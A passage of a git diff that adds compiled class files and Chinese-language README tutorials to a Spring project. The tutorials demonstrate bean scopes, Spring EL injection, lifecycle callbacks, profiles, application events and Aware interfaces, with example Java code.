diff --git a/springBoot/target/classes/cn/hncu/p2_1_1Scope/DemoSingletonService.class b/springBoot/target/classes/cn/hncu/p2_1_1Scope/DemoSingletonService.class
new file mode 100644
index 0000000..76af530
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_1_1Scope/DemoSingletonService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_1_1Scope/Main.class b/springBoot/target/classes/cn/hncu/p2_1_1Scope/Main.class
new file mode 100644
index 0000000..85e2941
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_1_1Scope/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_1_1Scope/README.md b/springBoot/target/classes/cn/hncu/p2_1_1Scope/README.md
new file mode 100644
index 0000000..7010340
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_1_1Scope/README.md
@@ -0,0 +1,132 @@
+
+#分析
+
+Scope(范围)描述的是Spring容器如何新建Bean的实例的。可以简单的理解成Bean的作用范围!
+Spring的Scope有以下的几种,可以通过@Scope注解来实现。
+```
+1、singleton:一个Spring容器中只有一个Bean的实例。
+ 这是Spring的默认配置,也就是不写@Scope("singleton"),全容器共享一个实例。
+
+2、prototype:每次调用都会新建一个Bean的实例。
+
+3、request:Web项目中,给每一个http request新建一个Bean实例。
+ 也就是每一个request请求,都会新建一个Bean。
+
+4、session:Web项目中,给每一个http session新建一个Bean实例。
+ 也就是同一个session访问的请求,都是同一个Bean。
+
+5、globalSession:这个只在portal应用中有用,给每一个global http session新建一个Bean实例。
+
+```
+
+在Spring Batch中还有一个Scope是使用@StepScope的,这里就不介绍了。以后会有博客提到。
+现在要去了解的,请自行谷歌。
+
+下面的实例是简单的演示默认的singleton和prototype,分别从Spring容器中获得2次Bean,分别用==与equals判断Bean的实例是否相等!
+
+#示例
+##singleton的Bean
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:09.
+ * Explain:Singleton---默认Spring-Scope
+ */
+@Service//默认@Scope为Singleton-相当于添加
+//@Scope("singleton")
+public class DemoSingletonService {
+}
+
+```
+
+##prototype的Bean
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.Scope;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:23.
+ * Explain:编写Prototype的Bean
+ */
+@Service
+@Scope("prototype")
+public class DemoPrototypeService {
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:42.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_1_1Scope.")
+public class ScopeConfig {
+}
+
+```
+
+
+##运行
+
+```
+package cn.hncu.p2_1_1Scope;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/11.
+ * Time: 上午 11:43.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ScopeConfig.class);
+
+ DemoPrototypeService p1 = context.getBean(DemoPrototypeService.class);
+ DemoPrototypeService p2 = context.getBean(DemoPrototypeService.class);
+
+ DemoSingletonService s1 = context.getBean(DemoSingletonService.class);
+ DemoSingletonService s2 = context.getBean(DemoSingletonService.class);
+
+ System.out.println("p1.equals(p2):"+p1.equals(p2));//false
+ System.out.println("p1==p2:"+(p1==p2));//false
+
+ System.out.println("s1.equals(s2):"+s1.equals(s2));//true
+ System.out.println("s1==s2:"+(s1==s2));//true
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p2_1_1Scope/ScopeConfig.class b/springBoot/target/classes/cn/hncu/p2_1_1Scope/ScopeConfig.class
new file mode 100644
index 0000000..f1c1a88
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_1_1Scope/ScopeConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/DemoService.class b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/DemoService.class
new file mode 100644
index 0000000..709660d
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/DemoService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/ElConfig.class b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/ElConfig.class
new file mode 100644
index 0000000..621e642
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/ElConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/Main.class b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/Main.class
new file mode 100644
index 0000000..c86cf74
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/README.md b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/README.md
new file mode 100644
index 0000000..d5dd9fe
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/README.md
@@ -0,0 +1,193 @@
+
+#分析
+先简单介绍下Spring EL。
+Spring EL 也就是Spring表达式语言,支持在xml和注解中使用表达式,类似于JSP的EL表达式语言。
+
+Spring开发中我们可能经常涉及到调用各种资源的情况,包含普通文件、网址、配置文件、系统环境变量等,我们可以使用Spring的表达式语言实现资源的注入。
+
+Spring主要在注解@Value的参数中使用表达式。
+
+本示例演示实现以下几种情况:
+1、注入普通的字符串
+2、注入操作系统属性
+3、注入表达式运算结果
+4、注入其他Bean的属性
+5、注入文件内容
+6、注入网址内容
+7、注入属性文件
+
+在本节演示中,我遇到一个问题,已在此博客中解决,如有朋友遇到,请参考本篇博客解决:
+【错误解决】[Maven] cannot be opened because it does not exist错误[文件无法编译到target目录下的解决方法]
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+
+#示例
+
+因为需要将file转换成字符串,我们增加commons-io可以简化文件的相关操作、
+在pom文件中增加如下代码:
+```
+
+
+ commons-io
+ commons-io
+ 2.4
+
+```
+
+然后,在当前类的目录下新建test.txt。内容随意。
+我的内容如下:
+```
+测试文件内容:Spring
+```
+
+然后再新建test.properties文件,内容如下,当然,你也可以自己修改:
+```
+project.name=SpringEL
+project.author=chenhaoxiang
+```
+
+##写需要被注入的Bean:
+
+```
+package cn.hncu.p2_2_2SpringEL;
+
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 9:06.
+ * Explain:被注入的Bean
+ */
+@Service
+public class DemoService {
+ @Value("DemoService类的属性")//注入字符串
+ private String another;
+ public String getAnother() {
+ return another;
+ }
+ public void setAnother(String another) {
+ this.another = another;
+ }
+}
+
+```
+
+##增加配置类:
+
+```
+package cn.hncu.p2_2_2SpringEL;
+
+import org.apache.commons.io.IOUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.PropertySource;
+import org.springframework.context.support.PropertySourcesPlaceholderConfigurer;
+import org.springframework.core.env.Environment;
+import org.springframework.core.io.Resource;
+
+import java.io.IOException;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 9:11.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_2_2SpringEL")
+@PropertySource("classpath:cn/hncu/p2_2_2SpringEL/test.properties")
+public class ElConfig {
+
+ @Value("I LOVE YOU!")//注入字符串
+ private String normal;
+
+ @Value("#{systemProperties['os.name']}")//获取操作系统名
+ private String osName;
+
+ @Value("#{ T(java.lang.Math).random() * 100.0 }")//注入表达式结果
+ private double randomNumber;
+
+ @Value("#{demoService.another}")//注入其他Bean的属性
+ private String fromAnother;
+
+ @Value("${project.name}")//注入配置文件
+ private String projectName;
+
+ @Value("classpath:cn/hncu/p2_2_2SpringEL/test.txt")
+ private Resource testFile;//注意这个Resource是:org.springframework.core.io.Resource;
+
+ @Autowired //注入配置文件
+ private Environment environment;
+
+ @Value("http://www.chaojijuhui.com")//注入网址资源
+ private Resource testUrl;
+
+ @Bean //注入配置文件
+ public static PropertySourcesPlaceholderConfigurer propertyConfigurer(){
+ return new PropertySourcesPlaceholderConfigurer();
+ }
+
+ public void outputResource(){
+ try {
+ System.out.println("normal:"+normal);
+ System.out.println("osName:"+osName);
+ System.out.println("randomNumber:"+randomNumber);
+ System.out.println("fromAnother:"+fromAnother);
+ System.out.println("projectName:"+projectName);
+ System.out.println("测试文件:"+IOUtils.toString(testFile.getInputStream()));
+ System.out.println("配置文件project.author:"+environment.getProperty("project.author"));
+ System.out.println("网址资源:"+IOUtils.toString(testUrl.getInputStream()));
+ } catch (IOException e) {
+ e.printStackTrace();
+ }
+ }
+
+}
+```
+
+注入配置配件需要使用@PropertySource指定文件地址,若使用@Value注入,则要配置一个PropertySourcesPlaceholderConfigurer的Bean。
+注意,@Value("${project.name}")使用的是"`$`"而不是"#"。
+上面的类演示了这2中配置配件的方式!
+
+
+##运行类:
+
+```
+package cn.hncu.p2_2_2SpringEL;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/13.
+ * Time: 下午 11:44.
+ * Explain:运行类
+ */
+public class Main {
+
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ElConfig.class);
+ ElConfig resourceService = context.getBean(ElConfig.class);
+ resourceService.outputResource();
+ context.close();
+}
+
+}
+
+```
+
+#运行结果:
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/test.properties b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/test.properties
new file mode 100644
index 0000000..3a0da1e
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/test.properties
@@ -0,0 +1,2 @@
+project.name=SpringEL
+project.author=chenhaoxiang
\ No newline at end of file
diff --git a/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/test.txt b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/test.txt
new file mode 100644
index 0000000..9d6b9d4
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_2_2SpringEL/test.txt
@@ -0,0 +1 @@
+测试文件内容:Spring
\ No newline at end of file
diff --git a/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/BeanWayService.class b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/BeanWayService.class
new file mode 100644
index 0000000..f3d4c59
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/BeanWayService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/JSR250WayService.class b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/JSR250WayService.class
new file mode 100644
index 0000000..1fb1605
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/JSR250WayService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/Main.class b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/Main.class
new file mode 100644
index 0000000..7848a06
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.class b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.class
new file mode 100644
index 0000000..bd75139
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/PrePostConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/README.md b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/README.md
new file mode 100644
index 0000000..19d2d9b
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_3_2BeanLifecycle/README.md
@@ -0,0 +1,161 @@
+
+#分析
+
+在我们实际开发的时候,经常会遇到在Bean使用之前或者之后做些必要的操作,Spring对Bean的生命周期的操作提供了支持。
+
+有如下2种方式:
+1、Java配置方式:使用@Bean的initMethod和destroyMethod(相当于xml配置的init-method和destroy-method)
+
+2、注解方式:
+利用JSR-250的@PostConstruct和@PreDestroy
+
+友情提示:
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:【Spring】基于IntelliJ IDEA搭建Maven
+
+
+
+#示例
+
+##增加JSR250支持
+
+```
+
+ javax.annotation
+ jsr250-api
+ 1.0
+
+```
+
+##使用@Bean形式的Bean
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:19.
+ * Explain:使用@Bean形式的Bean
+ */
+public class BeanWayService {
+ public BeanWayService() {
+ super();
+ System.out.println("初始化构造函数-BeanWayService:"+this.getClass());
+ }
+
+ public void init(){
+ System.out.println("BeanWayService-init方法");
+ }
+
+ public void destroy(){
+ System.out.println("BeanWayService-destroy方法");
+ }
+}
+
+```
+
+##使用JSR250形式的Bean
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import javax.annotation.PostConstruct;
+import javax.annotation.PreDestroy;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:23.
+ * Explain:使用JSR250形式的Bean
+ */
+public class JSR250WayService {
+ public JSR250WayService() {
+ super();
+ System.out.println("初始化构造函数-JSR250WayService:"+this.getClass());
+ }
+
+ @PostConstruct//@PostConstruct这个注解表明该方法在构造函数执行之后执行
+ public void init(){
+ System.out.println("jsr250-init方法");
+ }
+
+ @PreDestroy//这个注解表明该方法在Bean销毁之前执行
+ public void destroy(){
+ System.out.println("jsr250-destroy方法");
+ }
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:29.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_3_2BeanLifecycle")
+public class PrePostConfig {
+
+ //为BeanWayService准备的配置方法
+ //initMethod和destroyMethod指定BeanWayService类的init和destroy方法在构造之后、Bean销毁之前执行
+ @Bean(initMethod = "init",destroyMethod = "destroy")
+ BeanWayService beanWayService(){
+ return new BeanWayService();
+ }
+
+ //为JSR250WayService准备的配置方法
+ @Bean
+ JSR250WayService jsr250WayService(){
+ return new JSR250WayService();
+ }
+
+
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p2_3_2BeanLifecycle;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 上午 11:33.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(PrePostConfig.class);
+
+ BeanWayService beanWayService = context.getBean(BeanWayService.class);
+ JSR250WayService jsr250WayService = context.getBean(JSR250WayService.class);
+
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p2_4_2Profile/DemoBean.class b/springBoot/target/classes/cn/hncu/p2_4_2Profile/DemoBean.class
new file mode 100644
index 0000000..1180e6a
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_4_2Profile/DemoBean.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_4_2Profile/Main.class b/springBoot/target/classes/cn/hncu/p2_4_2Profile/Main.class
new file mode 100644
index 0000000..51f54d7
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_4_2Profile/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_4_2Profile/ProfileConfig.class b/springBoot/target/classes/cn/hncu/p2_4_2Profile/ProfileConfig.class
new file mode 100644
index 0000000..0cf11ae
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_4_2Profile/ProfileConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_4_2Profile/README.md b/springBoot/target/classes/cn/hncu/p2_4_2Profile/README.md
new file mode 100644
index 0000000..8904827
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_4_2Profile/README.md
@@ -0,0 +1,128 @@
+#分析
+对于Profile先做一个简单的介绍:
+单讲profile就是一组配置,不同profile提供不同组合的配置,程序运行时可以选择使用哪些profile来适应环境。
+
+也就是Profile为在不同环境下使用不同的配置提供了支持(开发环境下的配置和生产环境下的配置肯定是不同的,例如:数据库的配置)
+
+
+Spring 为我们提供了大量的激活 profile 的方法,可以通过代码来激活,也可以通过系统环境变量、JVM参数、servlet上下文参数来定义 spring.profiles.active 参数激活 profile,下面说下3种方法:
+1、通过设定Environment的ActiveProfiles来设定当前context需要使用的配置环境。在开发中使用@profile注解类或者方法,达到在不同情况下选择实例化不同的Bean。
+2、通过设定jvm的spring.profile.active参数来设置配置环境。
+3、Web项目设置在Service的context parameter中。
+
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+在这里的示例只演示第一种方式的示例哦。
+
+#示例
+
+##示例Bean
+
+```
+package cn.hncu.p2_4_2Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:37.
+ * Explain:示例Bean
+ */
+public class DemoBean {
+ public String content;
+
+ public DemoBean(String content) {
+ super();
+ this.content = content;
+ }
+ public String getContent(){
+ return content;
+ }
+ public void setContent(String content) {
+ this.content = content;
+ }
+}
+
+```
+
+##Profile配置
+
+```
+package cn.hncu.p2_4_2Profile;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:41.
+ * Explain:Profile配置
+ */
+@Configuration
+public class ProfileConfig {
+
+ @Bean
+ @Profile("dev")//Profile为dev时实例化devDemoBean
+ public DemoBean devDemoBean(){
+ return new DemoBean("from development profile");
+ }
+
+ @Bean
+ @Profile("prod")//Profile为prod时实例化prodDemoBean
+ public DemoBean prodDemoBean(){
+ return new DemoBean("from production profile");
+ }
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p2_4_2Profile;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/14.
+ * Time: 下午 8:51.
+ * Explain:运行类
+ */
+public class Main {
+
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext();
+ context.getEnvironment().setActiveProfiles("prod");//先将活动的Proofile设置为prod
+ context.register(ProfileConfig.class);//后置注册Bean的配置类,不然会报Bean未定义的错误
+ context.refresh();//刷新容器
+
+ DemoBean demoBean = context.getBean(DemoBean.class);
+
+ System.out.println(demoBean.getContent());
+
+ context.close();
+ }
+}
+
+```
+##运行结果
+
+
+
+现在来对Main类做一下改动,将
+context.getEnvironment().setActiveProfiles("prod")
+修改为
+context.getEnvironment().setActiveProfiles("dev")
+
+
+结果如下:
+
+
diff --git a/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoEvent.class b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoEvent.class
new file mode 100644
index 0000000..c29bc72
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoEvent.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoListener.class b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoListener.class
new file mode 100644
index 0000000..1cd86ec
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoListener.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoPublisher.class b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoPublisher.class
new file mode 100644
index 0000000..e0e0479
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/DemoPublisher.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/EventConfig.class b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/EventConfig.class
new file mode 100644
index 0000000..123b2f6
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/EventConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/Main.class b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/Main.class
new file mode 100644
index 0000000..1226d47
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/README.md b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/README.md
new file mode 100644
index 0000000..6891822
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p2_5_2ApplicationEvent/README.md
@@ -0,0 +1,162 @@
+#分析
+
+Spring的事件(Application Event)为Bean与Bean之间的消息通信提供了支持。
+当一个Bean处理完一个任务之后,希望另一个Bean知道并能做出相应的处理,这时我们就需要让另外一个Bean监听当前Bean所发送的事件。
+
+Spring的事件需要遵循如下流程:
+1、自定义事件,集成ApplicationEvent。
+2、定义事件监听器,实现ApplicationListener
+3、使用容器发布容器
+
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+下面直接上示例吧。
+
+#示例
+
+##自定义事件
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.ApplicationEvent;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 8:39.
+ * Explain:自定义事件
+ */
+public class DemoEvent extends ApplicationEvent{
+ private static final long serialVersionUID = 1L;
+ private String msg;
+
+ public DemoEvent(Object source,String msg) {
+ super(source);
+ this.msg=msg;
+ System.out.println(this.getClass()+",构造方法");
+ }
+
+ public String getMsg() {
+ return msg;
+ }
+
+ public void setMsg(String msg) {
+ this.msg = msg;
+ }
+}
+
+```
+
+##事件监听器
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.ApplicationListener;
+import org.springframework.stereotype.Component;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 8:50.
+ * Explain:事件监听器
+ */
+@Component
+public class DemoListener implements ApplicationListener {//实现ApplicationListener接口,并指定监听的事件类型
+ @Override
+ public void onApplicationEvent(DemoEvent demoEvent) {//使用onApplicationEvent方法对消息进行接受处理
+ String msg = demoEvent.getMsg();
+ System.out.println(this.getClass()+"监听到了bean-demoPublisher发布的消息:"+msg);
+ }
+}
+
+```
+
+##事件发布类
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.context.ApplicationContext;
+import org.springframework.stereotype.Component;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:39.
+ * Explain:事件发布类
+ */
+@Component
+public class DemoPublisher {
+ @Autowired
+ ApplicationContext applicationContext;//注入ApplicationContext用来发布事件
+
+ public void publish(String msg){
+ DemoEvent demoEvent = new DemoEvent(this,msg);
+ applicationContext.publishEvent(demoEvent);//在这里的时候,会去运行DemoListener中的onApplicationEvent方法
+ System.out.println("消息:"+demoEvent.getMsg());
+ //使用ApplicationContext的publishEvent方法来发布
+ }
+
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:46.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p2_5_2ApplicationEvent")
+public class EventConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p2_5_2ApplicationEvent;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/15.
+ * Time: 下午 10:47.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(EventConfig.class);
+ DemoPublisher demoPublisher = context.getBean(DemoPublisher.class);
+ demoPublisher.publish("hello 你好...");
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/AwareConfig.class b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/AwareConfig.class
new file mode 100644
index 0000000..b602254
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/AwareConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/AwareService.class b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/AwareService.class
new file mode 100644
index 0000000..81f2833
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/AwareService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/Main.class b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/Main.class
new file mode 100644
index 0000000..67b6d52
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/README.md b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/README.md
new file mode 100644
index 0000000..0bd0115
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p3/p1_SpringAware/README.md
@@ -0,0 +1,148 @@
+
+#分析
+
+Spring的依赖注入的最大亮点就是你所有的Bean对Spring容器的存在是没有意识的。
+
+也就是说,你可以把你的容器换成别的容器,如Google Guice,这时Bean之间的耦合度很低。
+
+但是在实际项目中,基本上不可避免的要用到Spring容器本身的功能资源,这时你的Bean必须要意识到Spring容器的存在,才能调用Spring所提供的资源,这就是所谓的Spring Aware。
+
+其实Spring Aware本来就是Spring设计用来框架内部使用的,如果使用了Spring Aware,你的Bean就会和Spring框架耦合。也就不能换容器了。
+
+现在把Spring提供的Aware接口列出来:
+
+| Spring提供的Aware接口 ||
+| ------------- |:-------------:|
+| BeanNameAware | 获得容器中Bean的名称 |
+| BeanFactoryAware | 获得当前bean factory,这样可以调用容器的服务 |
+| ApplicationContextAware* | 当前的application context,这样可以调用容器的服务 |
+| MessageSourceAware | 获得message source,这样可以获得文本信息 |
+| ApplicationEventPublisherAware | 应用实践发布器,可以发布事件 |
+| ResourceLoaderAware | 获得资源加载器,可以获得外部资源文件 |
+
+Spring Aware的目的是为了让Bean获得Spring容器的服务。
+
+因为ApplicationContext接口集成了MessageSource接口、ApplicationEventPublisher接口和ResourceLoader接口,所以Bean继承ApplicationContextAware可以获得Spring容器的所有服务,但是,原则上我们还是用到什么接口了,就实现什么接口。
+
+在这里的示例,简单的演示BeanNameAware接口和ResourceLoaderAware接口。
+
+一样的,进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#示例
+
+因为要演示外部资源,所以先准备好一个外部文件资源,
+我就建在java文件目录下,test.txt文件,内容:
+```
+测试文件的内容
+```
+
+##Spring Aware 演示Bean
+
+```
+package cn.hncu.p3.p1_SpringAware;
+
+import org.apache.commons.io.IOUtils;
+import org.springframework.beans.factory.BeanNameAware;
+import org.springframework.context.ResourceLoaderAware;
+import org.springframework.core.io.Resource;
+import org.springframework.core.io.ResourceLoader;
+import org.springframework.stereotype.Service;
+
+import java.io.IOException;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/16.
+ * Time: 下午 6:37.
+ * Explain:Spring Aware演示Bean
+ */
+@Service
+public class AwareService implements BeanNameAware,ResourceLoaderAware {
+ //实现BeanNameAware,ResourceLoaderAware接口,获得Bean名称和资源加载的服务
+
+ private String beanName;
+ private ResourceLoader loader;
+
+ @Override
+ public void setResourceLoader(ResourceLoader resourceLoader) {//实现ResourceLoaderAware需要重写setResourceLoader方法
+ this.loader = resourceLoader;
+ }
+
+ @Override
+ public void setBeanName(String beanName) {//实现BeanNameAware需要重写setBeanName方法
+ this.beanName = beanName;
+ }
+
+ public void outputResult(){
+ System.out.println("Bean的名称为:"+beanName);
